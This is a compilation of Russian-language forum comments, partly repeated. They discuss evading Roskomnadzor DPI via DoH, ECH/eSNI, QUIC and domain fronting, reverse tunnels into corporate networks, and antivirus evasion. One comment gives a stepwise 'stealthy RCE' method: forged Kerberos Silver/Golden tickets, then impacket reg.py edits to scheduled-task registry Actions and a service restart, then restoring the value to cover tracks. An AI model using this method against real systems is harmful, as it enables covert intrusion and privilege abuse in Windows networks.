Кстати, о пичках (о DoH). Его ведь тоже можно через ECH или QUIC пускать, он ведь https, все-таки..) Клаудфларовский DoH - через ECH, гугловский - через QUIC)) .
QUIC - там SNI тоже "почти зашифрован". По крайнемере не летит клеартекстом через DPI. Пока что РКН'овские DPI не парятся над дешифровкой QUIC и пропускают без блокировок. На той неделе проверял - если внутри QUIC какой-нить запрещенный домен - то блокировок пока что нет. Что будет далее - ХЗ
Блочить полностью TLS1.3 - тоже так себе решение.Можно положить ненароком много всякого .. Тем более, что на клаудфларе сейчас inner SNI можно сверху снабдить outer SNI. Т.е. идет себе такой вполне легитимный пакет через DPI. Внутри (шифрованый) будет navalny.com, а снаружи (тот. который виден DPI и никак не учитывается клаудфларой) - например kremlin.ru. Я писал отдельную статью на эту тему на хабре с подробностями и картинками ))
Т.о. алгоритм, например, беспалевного RCE представляется такой:
делай 1) Получаем NTLM компа и делаем SilverTicket c LOCALSYSTEM PAC или сразу генерим GoldenTicket c LOCALSYSTEM PAC
делай 2) reg.py ... query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks - выбираем таску, кот нам больше подойдет - лучше всего берем стандартую таску от микромягких, например ".\Microsoft\Windows\ApplicationData\appuriverifierdaily"
".. алгоритмы случайного леса и градиентного бустинга, k-ближайших соседей и логистической регрессии" - почему то мне кажется что РКН как раз его и использует, судя по наполнению реестра блокировок))..
Все-таки в итоге что? Блокировать DoH или нет? По итогу Ваше мнение так и осталось не высказанным.
С одной стороны РКН с его "алгоритмами", а с другой поволная зависимость от клаудфларного DoH - тоже так себе перспектива..
Любопытненько, но "тема сисек не раскрыта" или раскрыта не полностью.. ;)
Для раскрытия полагаю, следует добавить соотв инструментарий для автоматизации процесса (например на основе того же импакета и его либы по работе с remoteregistry - т.е сделать аналог atexec, но уже через реестр. Вот тогда было бы огонь!!
Ну, основное преимущество в том, что здесь мы мимикрируем (прячемся) под обычный https трафик на клаудфлару. В случае vpn dpi все же будет четко видеть, что это ВПН (либо сам протокол — в случае openvpn или ipsec, либо опять же имя домена, в случае ssl-based ВПН). Фактически, да eSNI помогает rsockstun строить туннель (правда обратный — снаружи внутрь корп сети), через клаудфлару, не светя при этом оригинальный домен, а наоборот, прикрываясь чем-нибудь, "что блокировать нельзя".
Если вырезать что то из пакета, то придется пересчитывать все чек суммы, перестраивать пакеты и т.д. а это при большом трафике довольно таки накладно.
Проще уж тогда совсем дропать такие пакеты, но тогда опять мы вернёмся к самой первой картинке в статье.
Ну, вроде бы там ничего особо мудреного нет. Генерируем пару ключей, открытый ключ бейсим и отдаем в виде txt-записи на запросы _esni.mydomain.com
Закрытый ключ скармливаем nginx'у чтобы он мог распарить esni.
Почему то забыли про netsparker. Вполне достойная акунетиксу тулза. В отличие от него в спаркере дофига настроек и крутилок (почти как было в акунетиксу до 11-й версии), что позволяет настроить скан более гибко.
1) Казахстан забыли..
2) причём тут Сирия и Эритрея? Там что, хакеры есть?
Особенно забавно звучит фраза "специалисты иб из разных стран..."
Кстати, о пичках (о DoH). Его ведь тоже можно через ECH или QUIC пускать, он ведь https, все-таки..) Клаудфларовский DoH - через ECH, гугловский - через QUIC))
. ![]()
Потестим на след. недельке..
QUIC - там SNI тоже "почти зашифрован". По крайнемере не летит клеартекстом через DPI. Пока что РКН'овские DPI не парятся над дешифровкой QUIC и пропускают без блокировок. На той неделе проверял - если внутри QUIC какой-нить запрещенный домен - то блокировок пока что нет. Что будет далее - ХЗ
Блочить полностью TLS1.3 - тоже так себе решение.Можно положить ненароком много всякого .. Тем более, что на клаудфларе сейчас inner SNI можно сверху снабдить outer SNI. Т.е. идет себе такой вполне легитимный пакет через DPI. Внутри (шифрованый) будет navalny.com, а снаружи (тот. который виден DPI и никак не учитывается клаудфларой) - например kremlin.ru. Я писал отдельную статью на эту тему на хабре с подробностями и картинками ))
Позвольте, как грится, начать раскрывать тему..
Т.о. алгоритм, например, беспалевного RCE представляется такой:
делай 1) Получаем NTLM компа и делаем SilverTicket c LOCALSYSTEM PAC или сразу генерим GoldenTicket c LOCALSYSTEM PAC
делай 2) reg.py ... query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks - выбираем таску, кот нам больше подойдет - лучше всего берем стандартую таску от микромягких, например ".\Microsoft\Windows\ApplicationData\appuriverifierdaily"
делай 3) reg.py ... add -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID вашей любимой таски} -v "Actions" -vt REG_BINARY -vd "blablabla"
делай 4) services.py ... restart 'schedule'
делай 4а) используем Imacket RPC или win schtasks для того чтобы передернуть таску.
делай 5) reg.py ... add -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID вашей любимой таски} -v "Actions" -vt REG_BINARY -vd "возвращаем обратно то что было до"
Для "полного раскрытия темы сисек" пункты 2-5 надо б оформить в виде одного скрипта, чтобы не плодить лишние логи по авторизации на таргетном сервере.
По поводу того как писать/читать реестр винды УДАЛЕННО от имени LOCALSYSTEM (чтобы никаких psexec и тому подобных палящихся запусков) - см. оригинал статьи по тамперингу тасков: https://labs.withsecure.com/publications/scheduled-task-tampering
Таким же образом можно передёргивать scheduled service (от имени LOCALSYSTEM)
".. алгоритмы случайного леса и градиентного бустинга, k-ближайших соседей и логистической регрессии" - почему то мне кажется что РКН как раз его и использует, судя по наполнению реестра блокировок))..
Все-таки в итоге что? Блокировать DoH или нет? По итогу Ваше мнение так и осталось не высказанным.
С одной стороны РКН с его "алгоритмами", а с другой поволная зависимость от клаудфларного DoH - тоже так себе перспектива..
Любопытненько, но "тема сисек не раскрыта" или раскрыта не полностью.. ;)
Для раскрытия полагаю, следует добавить соотв инструментарий для автоматизации процесса (например на основе того же импакета и его либы по работе с remoteregistry - т.е сделать аналог atexec, но уже через реестр. Вот тогда было бы огонь!!
Ну, кстати, им бы не помешал такой функционал с ECH. надо б запилить им ишью...
Ну, основное преимущество в том, что здесь мы мимикрируем (прячемся) под обычный https трафик на клаудфлару. В случае vpn dpi все же будет четко видеть, что это ВПН (либо сам протокол — в случае openvpn или ipsec, либо опять же имя домена, в случае ssl-based ВПН). Фактически, да eSNI помогает rsockstun строить туннель (правда обратный — снаружи внутрь корп сети), через клаудфлару, не светя при этом оригинальный домен, а наоборот, прикрываясь чем-нибудь, "что блокировать нельзя".
Так можешь блочится по причине того, что ИП внесён в список? Вся прелесть dpi как раз в том и заключается, что ркн хочет уйти от блокировки по ипам...
Если вырезать что то из пакета, то придется пересчитывать все чек суммы, перестраивать пакеты и т.д. а это при большом трафике довольно таки накладно.
Проще уж тогда совсем дропать такие пакеты, но тогда опять мы вернёмся к самой первой картинке в статье.
В следующей части как раз пример будет;)
У той же клаудфлары ключи меняются раз в 20-30 мин...
Ну, вроде бы там ничего особо мудреного нет. Генерируем пару ключей, открытый ключ бейсим и отдаем в виде txt-записи на запросы _esni.mydomain.com
Закрытый ключ скармливаем nginx'у чтобы он мог распарить esni.
Да, бывает...
А как на счёт других аверов (kis, sep, mcafee)?
Invoke-obfuscation к вашим услугам.
Почему то забыли про netsparker. Вполне достойная акунетиксу тулза. В отличие от него в спаркере дофига настроек и крутилок (почти как было в акунетиксу до 11-й версии), что позволяет настроить скан более гибко.